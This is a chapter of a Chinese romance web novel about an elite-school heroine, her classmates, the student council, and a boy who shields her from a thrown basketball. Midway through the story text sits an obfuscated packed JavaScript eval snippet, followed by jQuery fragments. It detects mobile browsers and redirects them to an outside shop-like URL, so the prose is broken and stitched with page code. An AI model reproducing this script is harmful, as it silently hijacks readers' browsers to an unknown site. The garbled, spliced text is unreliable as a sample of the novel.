6. 学生会找你哦阮ll
作品:《你们当贵族怎么不叫我》 下午回到班里,一眼望去零零散散只有几个同学趴着补觉,直到打了上课铃,阮乐苓才想起第一节是体育课。
高三的体育课基本上都是自由活动,大部分同学从宿舍出来就去体育馆溜达了。
苏妍用手指绞着她发尾新烫的五彩卷发,侧趴在桌子上看数学作业,余光捕捉到阮乐苓的身影眼神亮了一番,抬起手用气音招呼她。
“血洛琉璃叶殿下!”
她的声音压得很低,偏偏几个补觉的同学耳朵尖得要命,闻声而起,赶到她身边,一个接过阮乐苓手里的包,一个给阮乐苓捶肩,好不融洽。
“毁灭之神大人,您心情好些了吗?论坛里那个发贴子的人简直胆大包天!”夜俊楠盯着她乌黑的发色暗道不妙。
竟然敢妄议大人,难道不怕大人动动手指灭了他们班吗!
学委双手交叉垫在下巴上撑着脸,100度的镜片反射白炽灯光线,“这个人太阴险了,居然把我们都拉黑了。”
他们作为毁灭之神大人的第一批信徒,有着崇高的维护大人的义务,字打了半天,正打算让贴主感受一下四面楚歌的绝望,没想到根本发不出去。
阴险小人!
阮乐苓大帝摆了摆手,回到座位上掏出来个苹果,风轻云淡咬了一口,低声道,“没事,此事我自有安排。”
周围同学被她的威严震慑住了,暗自感叹,不愧是毁灭之神,临危不乱,遇事冷静自持,太有气势了。
众人叽叽喳喳间,教室前门被敲了几下,迟夏站在门口,手里攥着一叠表单,高声道,“阮乐苓,学生会例行检查,走吧。”
周围同学顿时安静了下来,回忆起论坛上最后发言的那个衬衫领的头像,不免有些忌惮。
学生会是圣索尼亚最高权力机构,管理学校里的一切重要事项,特别是纪检,甚至连校长也要避其锋芒。
“喂,我们殿下哪里做错了,要和你走啊?”苏妍不赞同地皱起眉毛。
“就是,先不说那都是假的,就算是真的又怎么样?我们大人就该有三夫六侍,区区两个又算什么!”夜俊楠见她出声,立马跟上。
他瞪起眼睛,试图营造出严肃冷酷、十步杀一人千里不留行的氛围,可惜由于眼睛过于苗条,效果甚微。
“懒得和你们一般见识。”迟夏对着教室里几颗五彩斑斓到令人发指的头没什么说话的欲望,嫌弃地把脸转到一边。
阮乐苓微微闭了闭眼,犬齿在下唇内侧咬出一小道痕迹,“我跟你走。”
几个同学闻言不甘心道,“是,大人!”
好尴尬,虽然迟夏好像已经不记得了,但她却有一种熟人面前装×的羞愧感。
苏妍余光瞄到她的表情,心里了然。饶是血洛琉璃叶殿下也无法与学生会抗衡,此去必定惊险万分!
但殿下本人心意已决,大家只好等待她凯旋。
几个同学缓缓向旁边撤退,将过道让了出来,沉默中目送阮乐苓和迟夏走远。
唉,毁灭之神大人承担的太多了!
---
“谢谢你给我转钱呀,你对我太好啦。”
同学们心中卧薪尝胆隐忍不发的阮乐苓亲昵地抱着大反派迟夏一边手臂,脸颊在袖子上蹭蹭。
少女脸颊肉和硬物接触,眼尾到鼻尖的位置蹭起一道褶皱,嘴唇也半开着。
眼睛还不忘和被蹭的人对视,看得迟夏移开了目光。
“少来这一套,留着这些话跟会长说吧,我可不想和特招生有什么关系。”
袖子的主人从口袋里掏出一包纸巾,暴力撕开包装,拿着一片捂在她脸颊上擦拭,手上力度却放轻了不少。
“吃苹果吃的汁水别蹭我衣服上,你知道衣服有多贵吗?”倒是没有推开她。
“错啦错啦。”阮乐苓乖乖认错。
迟夏冷哼一声,被她抱着手臂下了楼。
阮乐苓其实很喜欢和熟悉的人进行身体接触,这让她心里好像塞了团棉花般轻盈饱满,而且保暖。
小时候林逾川很招阮乐苓喜欢,是她贴贴抱抱的重灾区,每次放学都要和他挽着胳膊走。
直到读高中后的一个周末晚上,她倾心邀请林逾川一起出去觅食,二人走在马路边上,暖黄色的路灯下飘着几片雪,他不动声色地把胳膊从她怀抱里抽了出来。
“阮乐苓,”他很少叫她的大名,“其实我有一点洁癖,不太喜欢跟人有肢体接触。”他思索着表述,最后这样开口。
铲在路边堆积的雪表面已经冰化了,白莹莹的,照着她的脸也通白。
林逾川转过身看到她的神色,惊觉自己说了些什么,又不敢像往常一样抱抱她,很少见地语无伦次起来,声音沙哑,“我不是这个意思,我只是......”
“哦。”她飞快应了一声,打断了他的话,面色如常,很淡地回应,“很正常啦,大家都有点什么癖好啦,就像我也不喜欢被别人摸头,感觉很怪。”
二人并肩走在雪地里,她心里的棉花却好像被浇了一盆水,拧也拧不干,被冬天结了层冰,盖着羽绒服也凉凉的。
好在返校后同学们实在热情,她又将此事抛之脑后,只是很少和林逾川一起回家了。
而现在,她要在高三(3)班同学眼下树立龙王歪嘴一笑打个响指就能推翻整个学校统治的优良形象,再和苏妍等人搂搂抱抱实在有损人设。
还好迟夏是她为数不多的不在一个班的好朋友,阮乐苓亲密地抱住她,她身上的气味让她久违地安心。
走到一楼楼梯口处,她的手自觉松开,不远处篮球场上他们班的同学在打球。
---
“我靠,那不是阮乐苓吗?”抱着球的男生眼尖地看到教学楼门口走出来的身影,愣了三秒。
“然子,传球啊,一星期就一起上这么一节体育课,别浪费了啊!”后面男生招呼他,见他不动上前对着他的后背来了一掌。
被打的男生没有反应。
“看什么呢——我靠,血洛琉璃叶殿下!”
符星野坐在篮球场边的树荫里,漫不经心扭开矿泉水喝了口,闻声神色淡淡地向教学楼方向看了一眼。
边上隔壁班的张皓抱着一个篮球,苦口婆心地劝说他参与他们的比赛。
原本说好黑白配最后剩下的那个人来邀请这座大神的,怎么内定他不通知他啊,他还想多玩会儿呢。
“野哥,你不在我们自己打多没意思啊。”
“还野哥,你还野人呢。”
真难听,听起来像没开智,在树林里荡来荡去的一种哺乳动物。
符星野抬眸看了他一眼,唇线下压,脸色不虞。
张皓心里跟着凉了一下,心想坏了,触碰到霸总的逆鳞了,于是立马改口,“星野殿下,就跟我们一起玩吧!”
更难听了!
今天他的身体自由了许多,没再听到什么奇怪的声音,让他终于有休息的时间。
他才不去呢。
突然间,球场上几个人争执起来,被叫然子的人抬起手将球向阮乐苓扔了过去。
“我靠,崔然你做什么!”旁边的同学发出了尖锐的爆鸣声。
符星野眼色凛了下,顺手拿起张皓的球,准备把飞过来的球砸开。
抬手间,他的身体却不受控制地站了起来,在张皓震惊的表情中跑到阮乐苓跟前,将她护在怀里。
【星野殿下绝不允许他心爱的女人受到伤害。】
【女人,你是我罩的。】
阮乐苓嘴巴微张,吃惊地抬头看了眼他高大的身影,愣住了。
居然是物理罩着啊。
这也太朴实无华了吧!
符星野心里未免紧张,他中午冲了澡换了干净的新衣服,刚才也没有打球,虽然刚才动作有点急了,但是他不是易出汗的体质。
应该没有汗味……吧?
少女被他严防死守地抱着,影子融为一体。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094335|195593||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
几乎是在一瞬间,少男被砸得闷哼了一声,球弹落到地上,几秒后背上传来细密的疼痛。
他苦中作乐地想,幸亏不是砸在头上,不然这一下高低开辟出个失忆赛道来。
阮乐苓回环住他,很礼貌地将手张开伸直,用小臂扶住他不稳的身体,近距离闻到了他身上清爽干净的柠檬味。
“你还好吗?”虽然之前两人之间有些不愉快,但阮乐苓大帝不记平民过,看到他为保护自己受伤,她心里的天平也跟着倾斜。
她担忧地望着他,嘴巴开合,唇瓣粉粉的,像他昨天吃的苹果的颜色。
符星野喉结滚动了下。
在说什么。
他的肌肉几乎是在靠近她的那一刻就绷紧了,一时间不知道该怎么动作。
直到少女退开,他心里遗憾不已,眼神垂落在她的白色帆布鞋上,随着她的脚步移动。
脑子里空白一片。
唯有她的掌心不小心顺势从腹外斜肌上划过的触感,还有他附身间鼻梁恰好扫过她耳边发丝的气味循环上演。
背上有些湿润,风一吹凉凉的,他习惯性反手摸了一下。
阮乐苓见状也向他背后看了一眼。
新的夏季校服是短袖款的衬衫,圣索尼亚作为贵族高中,非常高贵地摒弃了速干的料子,看起来硬挺有型。
他背后的血渗了出来,像开在白雪里的梅花。
这么狠?
阮乐苓大帝心中惭愧,抿了下唇,用嘴轻轻吹了下气,试图缓解疼痛。
少男顿时像是打通了痛感神经,后背受伤的地方好似有千万只蚂蚁在咬噬。
但呲牙列嘴的表情实在有损颜面,他咬紧了后槽牙,又怕说话声音不自然,静默了几秒才开口。
声音微涩,“没事,不疼,一点都不疼。”
罪魁祸首崔然一脸的洋洋得意,将滚落的球踢到一边,抱臂站在一旁看着二人相拥,拿出手机对着他们拍了两张照片。
“早就说阮乐苓这个特招生水性杨花,勾搭星野殿下,居然还有人不信。”他咧着一嘴牙嘻笑着。
对方冷漠的表情让他心惊了一瞬,但又想到什么,便放松了许多。
“哎呀,我只是和小阮开个玩笑,想不到星野殿下这么爱你啊。”
随后对上符星野的眼睛,“不好意思啊星野殿下,都是开玩笑,开玩笑。”
他眼皮半眯着,轻佻地扫过二人的身形,看得阮乐苓心里无比不爽。
这个家伙她太认识了。
高二上半学年期末结束,正值年关,学校照例举办了总结大会,并且很排面地邀请了市里几位领导列席。
她作为学生代表发言,刚游刃有余地背了个开头,心想这把万无一失,无人能敌,她的皇位固若金汤之时,一道黑影就冲了上来掰过她的麦。
“我是高三的崔然,我喜欢你。”
“阮乐苓,听说你数学不好,和我在一起吧。我这次数学考了138,到时候我会天天教你。”
她没有仔细看他的脸,面色平静地向台下看去,前排的市长抬眼和她对视了一瞬,面无表情,旁边校长低着头,默不作声。
坏了。她的皇权不稳。
台下窃窃私语间,工作人员快跑上台把崔然摁走,她脑子里的电路又接上了,遵循肌肉记忆脸色平稳地继续讲下去。
“……在接下来的日子里脚踏实地,稳步前行。相信大家都会取得满意的成绩!”
鞠躬。
台下传来轰烈的掌声,校长心有余悸地给她悄悄竖了个大拇指,侧眸观察了下市长的表情,发现她的脸色黑得吓人。
他尴尬地笑了两声,不经意间道,“现在的孩子真是年轻有活力,呵呵。”
市长抬手在笔记本上记下了道德素养建设几个字,叹气,“学生在研究学问前,得先学会明事理啊。”
于是,加之期末考试被抓贴脸作弊,崔然喜提休学一年的大奖。

